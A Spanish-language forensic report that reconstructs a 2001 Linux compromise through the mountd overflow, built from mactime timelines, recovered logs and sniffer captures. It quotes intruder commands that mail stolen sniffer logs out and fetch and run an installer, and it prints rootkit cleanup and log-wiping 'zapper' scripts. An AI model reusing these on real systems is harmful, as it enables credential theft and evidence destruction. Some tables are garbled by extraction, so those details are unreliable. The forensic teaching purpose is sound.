Ejemplo de Informe de Pruebas Encontradas
Ahora vamos a examinar un informe completo de actividad del/los intrusos en el sistema. El informe fue obtenido tras analizar los ficheros log de los sniffers, intentos de acceso, timestamps en el sistema de ficheros y el contenido de las particiones de varios sistemas involucrados en el incidente. Es un informereal, sólo que está omitida la información que identifica el sistema atacado.
A continuación es un informe de análisis de la partición root del sistema 212.102.25.57, la información aparece tal como fue encontrada después de poner el disco off-line, una vez descubierto el compromiso, por sospecha de tener ejecutándose un sniffer. Una copia de sistema de ficheros está disponible en formato tar.gz en el cdrom ISO 9660 CD-R.
La máquina 212.102.25.57 fue una de las 19 sospechosas de estar comprometida por el mismo grupo de intrusos alrededor de 10-09-2001, utilizando Linux mountd buffer overflow bug documentado en el CERT Advisory CA-98.12:http://www.cert.org/advisories/CA-98.12.mountd.html.
El disco duro fue analizado utilizando herramientas creadas por Dan Farmer y Wietse Venema llamadas "Coroner’s
Toolkit"(http://www.fish.com/security/forensics.html). En el sistema de análisisel disco aparece como dispositivo /dev/hdc. La primera partición, /dev/hdc1 fue montada en modo solo lectura bajo el punto de montura "/x". Como resultado de ello todas las rutas serán precedidas por esa cadena. La geometría del disco duro es la siguiente:
Disk /dev/hdc: 32 heads, 63 sectors, 825 cylinders
Units = cylinders of 2016 * 512 bytes
Device Boot | Start | End | BlocksId System |
---|---|---|---|
/dev/hdc1 | 1 | 793 | 799312+ 83 Linux |
/dev/hdc2 | 794 | 825 | 3225682 Linux swap |
Como la mayoría de los accesos al servidor empezaron el día 09 del Sep, la fecha previa del análisis forense fue tomada como 28 Ago. No se observan huellas obvias de modificación/instalación de ficheros que indica que el sistema fue accedido entre Sep 01 ySep 04. El día Sep 04, ha sido modificado el demonio "r" de Berkeley ("in.rlogind").
Sep 04 01 23:42:2123421 m.. -rwxr-xr-x root root /x/usr/sbin/in.rlogind
El examen del contenido del fichero a través de la utilidad strings, muestra que es un caballo de Troya que contiene los mismos strings que han sido encontrados en los ficheros del grupo "XXXXXXX"
. . .
rlogind ahLln XXXXXXXX
Can’t get peer name of remotehost: %m Can’t get peer name of remote host setsockopt (SO_KEEPALIVE): %m setsockopt (IP_TOS): %m hname != NULL rlogind.c
. . .
Sep 12 01 11:36:59 | 5127 m.c -rw-r--r-- root root /x/etc/.._/linsniff.c |
---|---|
Sep 12 01 11:37:08 | 4967 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/if.h |
Sep 12 01 11:37:10 2048 ..c drwxr-xr-x root bin/x/usr/sbin |
Pasados ocho días, se observa una modificación en el demonio y ejecución de chown.
Sep 12 01 11:04:1023421 ..c -rwxr-xr-x rootroot /x/usr/sbin/in.rlogind
Sep 12 01 11:04:118156 .a. -rwxr-xr-x rootbin/x/bin/chown
Pasada media hora el fichero fuente "linsniff.c" se copia en un directorio oculto bajo /etc. El directorio se llama "/etc/.. " (punto-punto-espacio-espacio-espacio, lo que nosotros convertiremos en "/etc/.._" para ver más claramente el directorio en los listados. El programa luego se compila. Vemos que los ficheros de cabeceras que tienen que ver con las funciones de red han sido accedidos, y el binario se mueve al "/usr/sbin/telnetd".
Después de cuatro minutos se produce un acceso a través del protocolo FTP (observando el acceso al wu.ftpd y su fichero id de proceso).
Sep 12 01 11:42:08 4096 mac -rw-r--r-- root root/x/var/pid/ftp.pids-remote
Esa actividad se confirma recuperando el fichero eliminado de log desde la partición root:
Sep 12 11:33:05 2001 in.telnetd[1290]: connect from cromanion.washington.edu
Sep 12 11:33:16 2001 login: 1 LOGIN FAILURE FROM cromanion.washington.edu, 502 Sep 12 11:33:21 2001 login: 2 LOGIN FAILURES FROM cromanion.washington.edu, 502
. . .
Sep 12 11:34:02 2001 su: quaker on /dev/ttyp1
Sep 12 11:41:52 2001 wu.ftpd[1327]: connect from lotherdale.washington.edu
Sep 12 11:41:57 2001 ftpd[1327]: USER snoop
Sep 12 11:41:59 2001 ftpd[1327]: PASS password
Sep 12 11:42:00 2001 ftpd[1327]: SYST
Sep 12 11:42:01 2001 ftpd[1327]: CWD /tmp
Sep 12 11:42:06 2001 ftpd[1327]: TYPE Image
Sep 12 11:42:06 2001 ftpd[1327]: PORT
Sep 12 11:42:06 2001 ftpd[1327]: STOR mountd
Sep 12 11:42:082001 ftpd[1327]: QUIT
Sep 12 11:42:08 2001 ftpd[1327]: FTP session closed
Sep 12 12:00:25 2001 in.telnetd[1342]: connect from cromanion.washington.edu
Sep 12 12:00:25 2001 telnetd[1342]: ttloop: peer died: Try again
Desde lo que podemos observar se realiza una descarga de un exploit mountd mencionado anteriormente. También podemos conocer que el intruso tiene una cuenta en el sistema cromanion.washington.edu [215.12.10.2] que normalmente utiliza entre 14:33:05 y 15:00:25 EST.
Los strings del fichero "/usr/sbin/telnetd" muestran que es un sniffer. El fichero log del sniffer es "tcp.log" (por defecto):
. . .
cant get SOCK_PACKET socket cant get flags cant set promiscuous mode
----- [CAPLEN Exceeded]
----- [Timed Out]
----- [RST]
----- [FIN] %s => %s [%d]
eth0 tcp.log cant open log Exiting...
. . .
Sep 13 01 10:01:46 | 55492 .a. -rwxr-xr-x root | root | /x/usr/bin/gcc |
---|---|---|---|
6211 .a. -rw-r--r-- root | root | /x/usr/include/stdio.h | |
92696 .a. -rwxr-xr-x root | root | /x/usr/lib/gcc-lib/i486-linux/2.7.0/cpp | |
1003 .a. -rwxr-xr-x root | root | /x/usr/lib/gcc-lib/i486-linux/2.7.0/spe | |
Sep 13 01 10:01:47 | 2767 .a. -rw-r--r-- root | root | /x/usr/include/_G_config.h |
1441 .a. -rw-r--r-- root | root | /x/usr/include/alloca.h | |
2040 .a. -rw-r--r-- root | root | /x/usr/include/confname.h | |
1267 .a. -rw-r--r-- root | root | /x/usr/include/errno.h | |
4186 .a. -rw-r--r-- root | root | /x/usr/include/features.h | |
4434 .a. -rw-r--r-- root | root | /x/usr/include/gnu/types.h | |
7917 .a. -rw-r--r-- root | root | /x/usr/include/libio.h | |
380 .a. -rw-r--r-- root | root | /x/usr/include/posix_opt.h | |
4419 .a. -rw-r--r-- root | root | /x/usr/include/signal.h | |
15134 .a. -rw-r--r-- root | root | /x/usr/include/stdlib.h | |
7537 .a. -rw-r--r-- root | root | /x/usr/include/string.h | |
3909 .a. -rw-r--r-- root | root | /x/usr/include/sys/cdefs.h | |
4538 .a. -rw-r--r-- root | root | /x/usr/include/sys/socket.h | |
321 .a. -rw-r--r-- root | root | /x/usr/include/sys/types.h | |
25129 .a. -rw-r--r-- root | root | /x/usr/include/unistd.h | |
8841 .a. -r--r--r-- root | root | /x/usr/lib/gcc-lib/i486-linux/2.7.0/inc | |
1029 .a. -rw-r--r-- root | root | /x/usr/src/linuxelf-1.2.13/include/asm-i3 | |
6298 .a. -rw-r--r-- root | root | /x/usr/src/linuxelf-1.2.13/include/linu | |
2065 .a. -rw-r--r-- root | root | /x/usr/src/linuxelf-1.2.13/include/linu |
El día 13 de Sep, otro programa que incorpora funciones de red se compila, que hace uso de muchos más recursos que el sniffer (ya que carga más librerías). El hecho que el binario no aparece con fecha de modificación o cambio, puede indicar que el binariofue ejecutado y eliminado por el intruso (otros intrusos o el administrador) para ocultar su presencia del equipo de administración del servidor.
2794 .a. -rw-r--r-- root | root | /x/usr/src/linuxelf-1.2.13/include/linu | |
---|---|---|---|
3846 .a. -rw-r--r-- root | root | /x/usr/src/linuxelf-1.2.13/include/linu | |
2621 .a. -rw-r--r-- root | root | /x/usr/src/linuxelf-1.2.13/include/linu | |
Sep 13 01 10:01:48 | 3668 .a. -rw-r--r-- root | root | /x/usr/include/arpa/inet.h |
734 .a. -rw-r--r-- root | root | /x/usr/include/bytesex.h | |
1555 .a. -rw-r--r-- root | root | /x/usr/include/endian.h | |
3248 .a. -rw-r--r-- root | root | /x/usr/include/limits.h | |
6390 .a. -rw-r--r-- root | root | /x/usr/include/netdb.h | |
2663 .a. -rw-r--r-- root | root | /x/usr/include/netinet/in.h | |
3562 .a. -rw-r--r-- root | root | /x/usr/include/paths.h | |
2643 .a. -rw-r--r-- root | root | /x/usr/include/posix1_lim.h | |
2680 .a. -rw-r--r-- root | root | /x/usr/include/posix2_lim.h | |
3777 .a. -rw-r--r-- root | root | /x/usr/include/sys/bitypes.h | |
709 .a. -rw-r--r-- root | root | /x/usr/include/sys/param.h | |
2315 .a. -rw-r--r-- root | root | /x/usr/include/sys/time.h | |
5273 .a. -rw-r--r-- root | root | /x/usr/include/sys/wait.h | |
2852 .a. -rw-r--r-- root | root | /x/usr/include/time.h | |
1156 .a. -rw-r--r-- root | root | /x/usr/include/waitflags.h | |
3724 .a. -rw-r--r-- root | root | /x/usr/include/waitstatus.h | |
1418196 .a. -rwxr-xr-x root | root | /x/usr/lib/gcc-lib/i486-linux/2.7.0/cc1 | |
3049 .a. -rw-r--r-- root | root | /x/usr/lib/gcc-lib/i486-linux/2.7.0/inclu | |
330 .a. -r--r--r-- root | root | /x/usr/lib/gcc-lib/i486-linux/2.7.0/includ | |
2101 .a. -rw-r--r-- root | root | /x/usr/src/linuxelf-1.2.13/include/asm-i3 | |
266 .a. -rw-r--r-- root | root | /x/usr/src/linuxelf-1.2.13/include/asm-i3 | |
3965 .a. -rw-r--r-- root | root | /x/usr/src/linuxelf-1.2.13/include/linu | |
720 .a. -rw-r--r-- root | root | /x/usr/src/linuxelf-1.2.13/include/linu |
78 .a. -rw-r--r-- root | root | /x/usr/src/linuxelf-1.2.13/include/linu |
---|---|---|
1146 .a. -rw-r--r-- root | root | /x/usr/src/linuxelf-1.2.13/include/linu |
313 .a. -rw-r--r-- root | root | /x/usr/src/linuxelf-1.2.13/include/linu |
698 .a. -rw-r--r-- root | root | /x/usr/src/linuxelf-1.2.13/include/linu |
Sep 13 01 10:01:57 117668 .a. -rwxr-xr-x root | bin | /x/usr/bin/as |
Sep 13 01 10:01:58 145695 .a. -rwxr-xr-x root | bin | /x/usr/bin/ld |
Sep 13 01 10:01:591088 .a. -rw-r--r-- root | root | /x/usr/lib/crt1.o |
1216 .a. -rw-r--r-- root | root | /x/usr/lib/crtbegin.o |
1212 .a. -rw-r--r-- root | root | /x/usr/lib/crtend.o |
624 .a. -rw-r--r-- root | root | /x/usr/lib/crti.o |
396 .a. -rw-r--r-- root | root | /x/usr/lib/crtn.o |
204146 .a. -rw-r--r-- root | root | /x/usr/lib/gcc-lib/i486-linux/2.7.0/lib |
Sep 14 01 00:42:50 146881 .a. -rwxr-xr-x root | bin | /x/usr/bin/ncftp |
Los índices de acceso del sistema cromanion.washington.edu (aka "cromanion") muestran un login al sistema quaker.washington.edu (aka "quaker") a las 14:03 del horario EST o +0300 horas más de PST), lo que describe las conexiones de las máquinas lotherdale.washington.edu, XXXXXXXXXXXXX.washington.edu, y XXXXXXXXXXXX.washington.edu:
XXX | ftp | XXXXXXXX.XXXXXXX Sat Sep 14 03:46 - 04:08 (00:21) |
---|---|---|
XXX | ftp | XXXXXXX.washingt Sat Sep 14 03:46 - 03:46 (00:00) |
XXX | ftp | XXXXXXX.XXXXXXX Sat Sep 14 03:38 - 03:40 (00:02) |
XXX | ftp | XXXXXXXXXXXXX.wa Sat Sep 14 03:37 - 03:39 (00:02) |
XXX | ftp | XXXXXXXXXXXX.was Sat Sep 14 03:19 - 03:20 (00:00) |
Hay solo una ocurrencia de utilización del comando "ncftp" registrada por el sniffer el día 14 del Sep (línea 347 en "tcp.log"). También podemos encontrar huellas de otra conexión del XXXXX.XXXX.XXX:
XXXXXXXXXXXXX.washington.edu => XXXXXXX.washington.edu [23]
!"’%W#$ 38400,38400vt100bdoor password w
su r00t cd /etvc | ||
---|---|---|
cat /etc/".. | "/tcp.log | mail [email protected] |
cat /etc/".. | "/tcp.log | mail [email protected] |
ncftp -u ls cp tcp.log 1 ls ncftp -y XXX.XXX [A[D[D[D[D[D[D[D[Du
----- [Timed Out]
El log de la sesión anterior muestra que el fichero log del sniffer ha sido enviado a una dirección de correo electrónico. Después de cuatro horas, alguien emite un comando "whoami", y luego añade y elimina algunos ficheros dentro del directorio oculto.
Sep 14 01 04:07:423797 .a. -rwxr-xr-x rootbin/x/usr/bin/whoami
Sep 14 01 04:08:181024 m.c drwxr-xr-x rootroot/x/etc/.._
El día 14 del Sep, se ejecuta el binario in.identd. Este servicio sirve para asociar el nombre de usuario con un intento de conexión a un servicio remoto. Esta aplicación se utiliza por algunas redes de IRC. Puede significar que alguien realizó una conexión a un servidor IRC desde la máquina comprometida.
También tuvieron lugar varias conexiones al servidor POP de correo "in.pop3d", al servicio Berkeley "r", "in.rlogind", y una conexión al servicio NFS "rpc.mountd". Una vez establecida la conexión, se ejecutó el comando "id" (este es un vestigio de un exloit ADM mountd buffer overrun).
El exploit suele crear un shell iniciado a partir del UID del servicio NFS mountd, que suele ser UID=0. El intruso, aprovechando del shell, crea un directorio "/var/tmp/XXXXX"y instala varias puertas traseras, utilidades para limpiar los ficheros log y un sniffer. Modificación de algunos ficheros log indican que a la hora de entrada se ejecutaron las utilidades de eliminación de huellas (zapper) que restablecieron el tamaño del fichero log a 0 bytes.
Sep 14 01 20:25:14 | 13004 .a. -rwxr-xr-x root | bin | /x/usr/sbin/in.identd |
---|---|---|---|
Sep 14 01 22:24:52 | 15029 .a. -rwxr-xr-x root | bin | /x/usr/sbin/in.pop3d |
Sep 15 01 02:22:24 | 23421 .a. -rwxr-xr-x root | root | /x/usr/sbin/in.rlogind |
Sep 15 01 02:23:07 | 25217 .a. -rwxr-xr-- root | bin | /x/usr/sbin/rpc.mountd |
Sep 15 01 02:23:08 | 7705 .a. -rwxr-xr-x root | bin | /x/usr/bin/id |
SepX 15 01 02:24:22 | 28550 mac -rwxr-xr-x root | root | /x/var/tmp/XXXXX/programs/fix |
13508 .a. -rwxr-xr-x root | root | /x/var/tmp/XXXXX/programs/login.bak | ||
---|---|---|---|---|
Sep 15 01 02:24:23 | 13508 m.c -rwxr-xr-x root | root | /x/var/tmp/XXXXX/programs/login.bak | |
1375 mac -rwxr-xr-x root | root | /x/var/tmp/XXXXX/programs/readme | ||
Sep 15 01 02:24:39 | 26314 m.c -rwxr-xr-x root | root | /x/var/tmp/XXXXX/programs/bindshell | |
27942 m.c -rwxr-xr-x root | root | /x/var/tmp/XXXXX/programs/linsniffer | ||
Sep 15 01 02:24:41 | 26314 .a. -rwxr-xr-x root | root | /x/var/tmp/XXXXX/programs/bindshell | |
27942 .a. -rwxr-xr-x root | root | /x/var/tmp/XXXXX/programs/linsniffer | ||
Sep 15 01 02:24:43 | 1126 m.c -rwxr-xr-x root | root | /x/var/tmp/XXXXX/programs/clean | |
XX mac -rwxr-xr-x root | root | /x/var/tmp/XXXXX/programs/imapdis | ||
Sep 15 01 02:24:59 | 4665 .a. -rwxr-xr-x root | bin | /x/usr/bin/basename | |
Sep 15 01 02:25:03 | 0 mac -rw-r--r-- root | root | /x/var/log/cron | |
Sep 15 01 02:25:04 | 0 ma. crw-rw-rw- root | root | /x/dev/ttyp3 | |
Sep 15 01 02:25:06 | 0 .a. -rw-r--r-- root | root | /x/var/log/debug | |
Sep 15 01 02:25:08 | 0 .a. -rw-r--r-- root | root | /x/var/log/lastlog | |
Sep 15 01 02:25:12 | 2699 .a. -rw-r--r-- root | root | /x/var/log/syslog | |
Sep 15 01 02:25:15 131968 .a. -rwxr-xr-x root | bin | /x/usr/bin/gawk | ||
5941 .a. -rwxr-xr-x root | bin | /x/usr/bin/wc | ||
0 .a. -rw-r--r-- root | root | /x/var/log/xferlog | ||
1024 m.c drwxr-xr-x root | root | /x/var/tmp/XXXXX | ||
1126 .a. -rwxr-xr-x root | root | /x/var/tmp/XXXXX/programs/clean | ||
Sep 15 01 02:25:542802 m.c -rwxr-xr-x root | root | /x/etc/rc.d/rc.inet2 | ||
Sep 15 01 02:26:1312288 m.c -rw-rw-r-- root | root | /x/etc/psdevtab | ||
Sep 15 XX 02:26:267416 .a. -rwxr-xr-x root | bin | /x/bin/mkdir | ||
Sep 15 01 02:26:3315 m.c -rw-r--r-- root | root | /x/dev/XXXXXXXX/LS | ||
Sep 15 01 02:26:401024 m.c drwxr-xr-x root | root | /x/dev/XXXXXXXX | ||
25 m.c -rw-r--r-- root | root | /x/dev/XXXXXXXX/PS | ||
Sep 15 01 02:28:370 .a. crw-rw-rw- root | root | /x/dev/ptyp2 | ||
Sep 15 01 02:28:380 m.c crw-rw-rw- root | root | /x/dev/ptyp2 | ||
0 mac crw-rw-rw- root | root | /x/dev/ttyp2 | ||
Sep 15 01 02:29:580 m.c -rw-r--r-- root | root | /x/var/log/lastlog | ||
Sep 15 01 02:30:060 m.c -rw-r--r-- root | root | /x/var/log/xferlog | ||
Sep 15 01 02:31:0366973 .a. -rwxr-xr-x root | bin | /x/bin/telnet | ||
Sep 15 01 02:35:011024 m.c drwxr-xr-x root | root | /x/var/log | ||
0 mac -rw-r--r-- root | root | /x/var/log/sulog | ||
Sep 15 01 02:35:160 m.c -rw-r--r-- root | root | /x/var/log/debug | ||
Sep 15 01 02:35:51 | 0 ma. crw-rw-rw- root | root | /x/dev/ptyp3 | |
Sep 15 01 02:35:52 | 0 ..c crw-rw-rw- root | root | /x/dev/ptyp3 | |
0 ..c crw-rw-rw- root | root | /x/dev/ttyp3 | ||
Sep 15 01 03:21:57 | 1649 m.. -rw-r--r-- root | root | /x/etc/passwd.OLD | |
Sep 15 01 03:22:24 | 7317 .a. -rwxr-xr-x root | bin | /x/bin/killall | |
Sep 15 01 03:22:40 | 58605 .a. -rwxr-xr-x root | bin | /x/bin/ps | |
25 .a. -rw-r--r-- root | root | /x/dev/XXXXXXXX/PS |
La siguiente actividad aparece en la línea 471 en "tcp.log" (el fichero log del sniffer entre 14 Sep 03:46 de la línea 348 y 17 Sep 20:13, desde la fecha de última modificación del fichero):
IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [143]
----- [Timed Out]
IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [513] rootXXXXlinux/38400
----- [FIN]
IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [513] rootXXXX-linux/38400
----- [FIN]
IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [513] rootr00tlinux/38400t
----- [FIN]
IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [23]
!"’%P#$ 38400,38400linuxXXXXX
XXX
r00t finger cd /var/tmp ls -al rm -rf .bash ftp XXXXXX.XXX.XXX anonymous ass get XXXX.tgz quituit tar zxvf XXXX.tgz chmod +x
./INSTALL ls -al
----- [Timed Out]
IIIIIIIIII.XXXXXXX.XXX.XX => GGGGGGG.XXXXXXXXXX.XXX [23]
!"’%P#$ 38400,38400linuxr00t pico /etc/rc.d/irc.inetd2 rpc.mo.mo.mo.mountd [A11 mountd [A2 pmountd
[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C# [B[D[D#[B[D#[B[D# y pico /etc/inetd.conf [6~[6~killall -HUP inetd cat /etc/inetd.conf ps aux kill -9 cd /dev mkdir XXXXXXXX cd XXXXXXXX pico LS XXXXXXXX XXXXXy pico PS 3 bindshell 3 linsniffery ps aux kill -9 2541 f
----- [Timed Out]
Eso muestra que el intruso estaba editando el fichero de configuración del rootkit referente al modus operandi de la utilidad "ls" (llamado LS) para esconder ficheros/directorios con cadenas "XXXXXX" y/o "JJJJJJJJ" en sus nombres. También ha modificado elfichero de configuración del rootkit para la utilidad "ps" (llamado PS) para esconder procesos "bindshell" y "linsniffer" en sus nombres.
La letra "y" que aparece en las cadenas "XXXXXXy" y "linsniffery" son huellas del usuario que nos informan que ha sidoutilizado el editor "pico". El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X. Si el fichero ha sido modificado de alguna forma el siguiente texto aparece:
Sep 16 01 21:55:34 | 36088 .a. -rwxr-xr-x root | bin | /x/bin/netstat |
---|---|---|---|
Sep 16 01 21:58:27 | 1024 m.c drwxrwxrwx root | root | /x/var/tmp |
Sep 16 01 21:58:52 | 6 .a. -rw-r--r-- root | root | /x/root/temp.txt |
Sep 16 01 22:50:33 | 1024 .a. drwxr-xr-x root | root | /x/var/tmp/XXXXX |
Sep 16 01 22:51:02 | 6644 .a. -rw-r--r-- root | root | /x/var/tmp/XXXXX/programs/sniffer.log |
Sep 16 01 22:57:16 | 1024 .a. drwxr-xr-x root | root | /x/var/tmp/XXXXX/programs |
Sep 16 01 23:39:51 | 1024 m.c drwxr-xr-x root | root | /x/var/tmp/XXXXX/programs |
4992 mac -rw-r--r-- root | root | /x/var/tmp/XXXXX/programs/sniffer.log.s |
Save modified buffer (ANSWERING "No" WILL DESTROY CHANGES) ?
El usuario entonces debe teclear la letra "y" para guardar el fichero y salir. El sniffer no captura el mensaje del sistema pero sí el "y". Las entradas log del sniffer aquí muestran que se creó el directorio XXXXXXXX, dónde fueron insertados los ficheros de configuración del rootkit y editados en siguiente orden. Podemos observarlo en el listado de mactime, posiblemente atando este evento al día 15 del XXXa las 02:26:
Sep 15 01 02:26:26 | 7416 .a. -rwxr-xr-x root | bin | /x/bin/mkdir |
---|---|---|---|
Sep 15 01 02:26:33 | 15 m.c -rw-r--r-- root | root | /x/dev/XXXXXXXX/LS |
Sep 15 01 02:26:40 | 1024 m.c drwxr-xr-x root | root | /x/dev/XXXXXXXX |
25 m.c -rw-r--r-- root | root | /x/dev/XXXXXXXX/PS |
El día 16 del Sep alguien crea una copia de seguridad del log del sniffer ("sniffer.log.save"), moviéndolo al directorio "/var/tmp/XXXX/programs". Este fichero muestra los intentos de entrada de otros intrusos que también acceden al fichero "tcp.log":
Elfichero "/root/temp.txt" contiene la única palabra "blah" en la línea y una línea en blanco. Actualmente no se conoce para que sirvió el fichero. El día 17 del XXX se modifica la contraseña de algún usuario, se crea un fichero de copia de seguridad:
Sep 17 01 12:44:50 153384 .a. -rws--x--x rootbin/x/usr/bin/passwd Sep 17 01 12:45:051649 m.c -rw-r--r-- rootroot/x/etc/passwd
1649 ..c -rw-r--r-- rootroot/x/etc/passwd.OLD
A continuación, el día 17 del Sep, alguien accede al servidor a través de telnet.Por lo visto se obtiene el UID del usuario lp. Modificaciones en /dev/console indican que ocurrió también una entrada de usuario en la consola física. Fechas de modificación han sido cambiadas en la aplicación de los logs del sniffer "/etc/..__/tcp.log" ytambién "/var/tmp/XXXXX/programs/sniffer.log", que significa que las aplicaciones han sido desactivadas.
Sep 17 01 20:13:44 | 296 .a. -rw-r--r-- root | root | /x/etc/hosts.deny |
---|---|---|---|
40907 .a. -rwxr-xr-x root | bin | /x/usr/sbin/tcpd | |
Sep 17 01 20:13:45 | 40685 .a. -rwxr-xr-x root | bin | /x/usr/sbin/in.telnetd |
25 m.c -rw-rw-r-- root | root | /x/var/spool/lp1/status | |
Sep 17 01 20:13:46 | 0 m.. crw-rw-rw- root | root | /x/dev/console |
0 .a. crw-rw-rw- root | root | /x/dev/ptyp0 | |
0 m.. crw-rw-rw- root | root | /x/dev/ttyp0 | |
18476 m.c -rw-r--r-- root | root | /x/etc/.._/tcp.log | |
6644 m.c -rw-r--r-- root | root | /x/var/tmp/XXXXX/programs/sniffer.log | |
Sep 17 01 20:13:50 | 0 ..c crw-rw-rw- root | root | /x/dev/console |
0 ..c crw-rw-rw- root | root | /x/dev/ptyp0 | |
0 ..c crw-rw-rw- root | root | /x/dev/ttyp0 |
El día 18 de Sep, se ejecuta la aplicación sendmail. Las huellas en el sistema de ficheros nos muestran que, posiblemente se envió a una dirección de correo electrónico el fichero log del sniffer "tcp.log":
Sep 18 01 05:30:26 164060 .a. -r-sr-Sr-x rootbin/x/usr/sbin/sendmail
Aparte de analizar el sistema de ficheros con detenimiento, se han recuperado todos los ficheros eliminados utilizando la utilidad "unrm" de TCT. Una examen de los ficheros recuperadosmostró eliminación de algunos ficheros log y scripts. El siguiente es una parte del script de instalación/limpieza que está incluido con el rootkit.
cp /var/tmp/imap-d /var/tmp/XXXXX/programs/imapdis rm -rf /var/tmp/imap-d echo "6. cleaning logs"
cd /var/tmp/XXXXX cp /var/tmp/clean /var/tmp/XXXXX/programs/clean rm -rf /var/tmp/clean
/var/tmp/XXXXX/programs/clean XXXXXXX 1>/dev/null 2>/dev/null
/var/tmp/XXXXX/programs/clean XXX.XXX 1>/dev/null 2/dev/null /var/tmp/XXXXX/programs/clean XXXX 1>/dev/null 2>/dev/null echo "rootkit complete" echo "rember to disable imapd" echo "EOF"
El siguiente es una parte del fichero log que muestra intentos de conexión de intrusos:
Sep 11 15:26:11 XXXX in.fingerd[864]: connect from XXX-XXX-14.XXXXXXXXX.XXX
Sep 11 15:26:11 XXXX in.telnetd[865]: connect from XXX-XXX-14.XXXXXXXXX.XXX
Sep 11 15:26:11 XXXX telnetd[865]: ttloop: peer died: Try again
Sep 11 15:26:12 XXXX in.pop3d[866]: connect from XXX-XXX-14.XXXXXXXXX.XXX Sep 11 15:26:13 XXXX in.telnetd[867]: connect from XXX-XXX-14.XXXXXXXXX.XXX
. . .
Sep 12 05:36:20 XXXX in.telnetd[1126]: connect from DDDDDD.XXXXXX.XXX
. . .
Sep 12 11:01:52 XXXX in.telnetd[1213]: connectfrom EEEEEEE.XXX.XXX
Sep 12 11:02:21 XXXX su: XXXXX on /dev/ttyp1
. . .
Sep 12 11:04:28 XXXX in.rlogind[1229]: connect from CCCCCCCC.XXXXXXXX.XXX
Sep 12 11:04:44 XXXX in.rlogind[1230]: connect from CCCCCCCC.XXXXXXXX.XXX
. . .
Sep 12 11:08:57 XXXX su: XXXXX on /dev/ttyp1
Sep 12 11:11:19 XXXX su: XXXXX on /dev/ttyp1
. . .
Sep 12 11:33:05 XXXX in.telnetd[1290]: connect from AAAAAA.XXXXXX.XXX
Sep 12 11:33:16 XXXX login: 1 LOGIN FAILURE FROM AAAAAA.XXXXXX.XXX, XXX Sep 12 11:33:21 XXXX login: 2 LOGIN FAILURES FROM AAAAAA.XXXXXX.XXX, XXX
. . .
Sep 12 11:34:02 XXXX su: XXXXX on /dev/ttyp1
Sep 12 11:41:52 XXXX wu.ftpd[1327]: connect from BBBBBBB.XXXXXX.XXX
Sep 12 11:41:57 XXXX ftpd[1327]: USER XXXXX
Sep 12 11:41:59 XXXX ftpd[1327]: PASS password
Sep 12 11:42:00 XXXX ftpd[1327]: SYST
Sep 12 11:42:01 XXXX ftpd[1327]: CWD /tmp
Sep 12 11:42:06 XXXX ftpd[1327]: TYPE Image
Sep 12 11:42:06 XXXX ftpd[1327]:PORT
Sep 12 11:42:06 XXXX ftpd[1327]: STOR mountd
Sep 12 11:42:08 XXXX ftpd[1327]: QUIT
Sep 12 11:42:08 XXXX ftpd[1327]: FTP session closed
Sep 12 12:00:25 XXXX in.telnetd[1342]: connect from AAAAAA.XXXXXX.XXX
Sep 12 12:00:25 XXXX telnetd[1342]: ttloop: peer died: Try again
. . .
Sep 12 12:54:37 XXXX in.rlogind[1358]: connect from CCCCCCCC.XXXXXXXX.XXX
. . .
Sep 12 19:53:30 XXXX in.telnetd[1459]: connect from XXXX-XX-118.XXXXXXXXX.XXX
. . .
Sep 12 23:47:32 XXXX in.telnetd[1525]: connect from XXXXXX.XXXX.XXXXXXXXXX.XXX
Sep 12 23:47:41 XXXX login: 1 LOGIN FAILURE FROM XXXXXX.XXXX.XXXXXXXXXX.XXX, XXXXX
Sep 12 23:48:55 XXXX su: XXXXX on /dev/console
Sep 13 00:12:38 XXXX in.telnetd[1569]: connect from HHHHHH.XXXXXXXXXXXXXXX.XXX Sep 13 00:12:54 XXXX su: XXXXX on /dev/console
. . .
Sep 13 06:46:12 XXXX in.telnetd[1673]: connect from XXX.XX.XXX.XX
Sep 13 07:08:01 XXXX in.telnetd[1679]: connect from GGGGGGG.XXXXXXXXXXXXXX.XXX Sep 13 07:08:14 XXXX su: XXXXX on /dev/console
. . .
Sep 13 08:30:05 XXXX in.telnetd[1728]: connect from FFFFFFF.XXXXXXXXXXXXXX.XXX
Sep 13 08:30:22 XXXX in.telnetd[1731]: connect from HHHHHH.XXXXXXXXXXXXXXX.XXX Sep 13 08:32:34 XXXX in.telnetd[1733]: connect from FFFFFFF.XXXXXXXXXXXXXX.XXX
. . .
Sep 13 09:58:42 XXXX su: XXXXX on /dev/console
El siguiente ejemplo es un extracto de script"zapper" que elimina las huellas dejadas por el intruso, o restablece el tamaño de los ficheros log a 0 bytes. No se sabe si existe una copia de este script en el sistema de ficheros activo. 1. !/bin/bash
. . .
WHAT=$(/bin/ls -F /var/log | grep -v "/" | grep -v "*" | grep -v ".tgz" | grep -v ".gz" | grep -v ".
for file in $WHAT line=$(wc -l /var/log/$file | awk -F ’ ’ ’{print $1}’) echo -n "Cleaning $file ($line lines)..." grep -v $1 /var/log/$file > new mv -f new /var/log/$file newline=$(wc -l /var/log/$file | awk -F ’ ’ ’{print $1}’) let linedel=$(($line-$newline)) echo "$linedel lines removed!"
done
echo " "
Los siguientes cadenas de texto pertenecen al fichero wtmp (leído por la utilidad "last"). Las horas no son obvias aquí pero los nombres de hosts sí lo son.
ftp4264 ttyp1 3XXXXX XXXXXXXXXXXX ttyp1 Pftp4626
3XXXXX XXXXXXXXXXXX ttyp1 3XXXXX XXXXXXXXXXXX ftp4626 ttyp1 Pftp4639
3XXXXXXXX
XXX.XX.XXX.XX
Pftp4639
Pftp4653
3XXXXXX XXXXXXXXXXXX ftp4653 Pftp4743
3XXXXX
XXXXXXXXXXXXXXXX